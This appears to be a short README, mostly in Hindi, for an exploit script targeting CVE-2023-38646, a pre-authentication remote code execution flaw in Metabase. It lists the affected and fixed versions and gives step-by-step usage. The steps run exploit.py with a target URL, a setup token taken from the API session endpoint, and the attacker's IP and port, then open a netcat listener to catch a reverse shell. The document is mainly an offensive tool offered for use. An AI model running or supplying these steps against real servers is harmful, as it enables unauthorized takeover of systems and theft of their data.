CVE-2023-38646 (Metabase प्रमाणीकरण-पूर्व RCE)

Metabase ओपन सोर्स 0.46.6.1 से पहले और Metabase एंटरप्राइज़ 1.46.6.1 से पहले हमलावरों को सर्वर पर, सर्वर के विशेषाधिकार स्तर पर, मनमाने आदेश निष्पादित करने की अनुमति देते हैं। शोषण के लिए प्रमाणीकरण की आवश्यकता नहीं है। अन्य निश्चित संस्करण 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, और 1.43.7.2 हैं।

उदाहरण उपयोग

दो टर्मिनल खोलें।

टर्मिनल 1:

python3 exploit.py -u http://vulnerablewebsite.com -t "537up-70k3n-fr0m-4p1-535510n" -i 10.10.10.10 -p 9001

where:
-u: the URL for the vulnerable website
-t: the setup token taken from http://vulnerablewebsite.com/api/session/properties
-i: host IP address (your IP address)
-p: host port for connection 

टर्मिनल 2:

nc -lvnp 9001